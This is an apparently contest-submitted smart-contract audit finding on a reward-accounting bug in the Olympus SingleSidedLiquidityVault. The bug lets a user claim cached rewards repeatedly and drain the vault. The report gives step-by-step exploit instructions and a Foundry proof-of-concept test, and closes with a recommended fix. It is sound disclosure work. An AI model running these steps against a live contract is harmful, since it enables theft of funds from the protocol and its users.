ast3ros

high

# [H-01] User could drain all the external and internal rewards from the vault

## Summary

A user could exploit the vault and withdraw all the internal and external rewards in it by abusing the `cachedUserRewards` variable. This variable tracks the unclaimed rewards but never decreases, so a user can claim more than they deserve repeatedly.

## Vulnerability Details

When claiming the reward, user will call the `claimRewards` function.
https://github.com/sherlock-audit/2023-02-olympus/blob/main/src/policies/lending/abstracts/SingleSidedLiquidityVault.sol#L288

The claimReward function then call the internal function `_claimInternalRewards`. The amount of reward is calculated by `internalRewardsForToken` function.
https://github.com/sherlock-audit/2023-02-olympus/blob/main/src/policies/lending/abstracts/SingleSidedLiquidityVault.sol#L625

The amount of received rewards is calculated by: `(cachedUserRewards[user_][rewardToken.token] + totalAccumulatedRewards) / 1e18;`
https://github.com/sherlock-audit/2023-02-olympus/blob/main/src/policies/lending/abstracts/SingleSidedLiquidityVault.sol#L371


The `cachedUserRewards[user_][rewardToken.token]` part causes the vulnerability. It does not decrease after claiming, so an exploiter can inflate it and claim the rewards multiple times, draining the vault.

In addition, the `userRewardDebts` is assign to 0 before using to calcualte the `cachedUserRewards`.
https://github.com/sherlock-audit/2023-02-olympus/blob/main/src/policies/lending/abstracts/SingleSidedLiquidityVault.sol#L584

An exploiter could do these steps:
- Deposit Wsteth into the vault.
- Withdraw and set claim to true to withdraw the reward for the first time:     `function withdraw(lpAmount_, minTokenAmounts_, yes)`
    - The withdraw amount should be set so that `rewardDebtDiff > userRewardDebts[msg.sender][rewardToken.token]`. In this case, the `cachedUserRewards` will increase and `userRewardDebts` is set to 0: 

                userRewardDebts[msg.sender][rewardToken.token] = 0;
                cachedUserRewards[msg.sender][rewardToken.token] +=
                    rewardDebtDiff -
                    userRewardDebts[msg.sender][rewardToken.token];
    https://github.com/sherlock-audit/2023-02-olympus/blob/main/src/policies/lending/abstracts/SingleSidedLiquidityVault.sol#L583-L587

- The exploiter claims the reward again by calling `claimRewards` and withdraws it for the second time.
- They repeat this process by depositing, withdrawing to reset the `userRewardDebts` and inflating the `cachedUserRewards`. Then they claim the rewards again.

POC:

        function testCorrectness_withdrawAndClaimRewardBug() public {
            // Setup
            _withdrawTimeSetUp();

            // Verify initial state
            assertEq(ldo.balanceOf(alice), 0);

            // Get alice lp position
            uint256 aliceLpPosition = liquidityVault.lpPositions(alice);
            console2.log("LP Position start: ", aliceLpPosition);

            // Withdraw with claim
            vm.startPrank(alice);
            liquidityVault.withdraw(aliceLpPosition - 10000000000, minTokenAmounts_, true);
            uint256 internalRewardAfterWithdrawing = ldo.balanceOf(alice);
            uint256 externalRewardAfterWithdrawing = externalReward.balanceOf(alice);
            console2.log("LP Position after withdrawing: ", liquidityVault.lpPositions(alice));
            console2.log("Reward after withdrawing: ", ldo.balanceOf(alice));
            console2.log("userRewardDebts after withdrawing: ", liquidityVault.userRewardDebts(alice, address(ldo))); // userRewardDebts is set to 0
            console2.log("cachedUserRewards after withdrawing: ", liquidityVault.cachedUserRewards(alice, address(ldo))); // cachedUserRewards increased

            console2.log("ExternalReward after withdrawing: ", externalReward.balanceOf(alice));
            console2.log("userExternalRewardDebts after withdrawing: ", liquidityVault.userRewardDebts(alice, address(externalReward)));
            console2.log("cachedUserExternalRewards after withdrawing: ", liquidityVault.cachedUserRewards(alice, address(externalReward)));
            
            // And claim again
            liquidityVault.claimRewards(); // claim reward for 2nd time
            uint256 internalRewardAfterClaim = ldo.balanceOf(alice);
            uint256 externalRewardAfterClaim = externalReward.balanceOf(alice);
            console2.log("LP Position after 1st claim: ", liquidityVault.lpPositions(alice));
            console2.log("Reward after 1st claim: ", ldo.balanceOf(alice));
            console2.log("userRewardDebts after 1st claim: ", liquidityVault.userRewardDebts(alice, address(ldo)));
            console2.log("cachedUserRewards after 1st claim: ", liquidityVault.cachedUserRewards(alice, address(ldo)));
            console2.log("ExternalReward after 1st claim: ", externalReward.balanceOf(alice));
            console2.log("userExternalRewardDebts after 1st claim: ", liquidityVault.userRewardDebts(alice, address(externalReward)));
            console2.log("cachedUserExternalRewards after 1st claim: ", liquidityVault.cachedUserRewards(alice, address(externalReward)));

            assertTrue(internalRewardAfterWithdrawing < internalRewardAfterClaim); // Internal Reward increase
            assertTrue(externalRewardAfterWithdrawing < externalRewardAfterClaim); // External Reward increase
        }

## Impact

The vault loses all the internal and external reward tokens due to the exploit, causing financial losses for the protocol and the users.

## Code Snippet

https://github.com/sherlock-audit/2023-02-olympus/blob/main/src/policies/lending/abstracts/SingleSidedLiquidityVault.sol#L371
https://github.com/sherlock-audit/2023-02-olympus/blob/main/src/policies/lending/abstracts/SingleSidedLiquidityVault.sol#L583-L587


## Tool used

Manual

## Recommendation

Reset the `cachedUserRewards` to zero after each successfully reward claim
        
        cachedUserRewards = 0;